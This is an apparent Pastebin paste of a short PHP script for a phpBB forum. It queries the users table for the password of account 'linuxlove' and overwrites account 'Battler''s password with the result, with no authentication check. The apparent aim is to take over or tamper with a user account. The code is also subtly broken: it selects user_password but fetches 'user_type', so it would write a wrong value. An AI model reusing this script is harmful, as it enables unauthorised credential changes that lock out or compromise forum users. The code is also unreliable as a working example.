Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php /**
- * @ignore
- */
- define('IN_PHPBB', true);
- $phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : './';
- $phpEx = substr(strrchr(__FILE__, '.'), 1);
- include($phpbb_root_path . 'common.' . $phpEx);
- $sql = "SELECT user_password FROM " . USERS_TABLE . " WHERE username = 'linuxlove'";
- $db->sql_query($sql);
- $user_permissions = $db->sql_fetchfield('user_type');
- $sql = "UPDATE " . USERS_TABLE . " SET user_password = '" . $user_permissions . "' WHERE username = 'Battler'";
- $db->sql_query($sql);
- echo "done";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement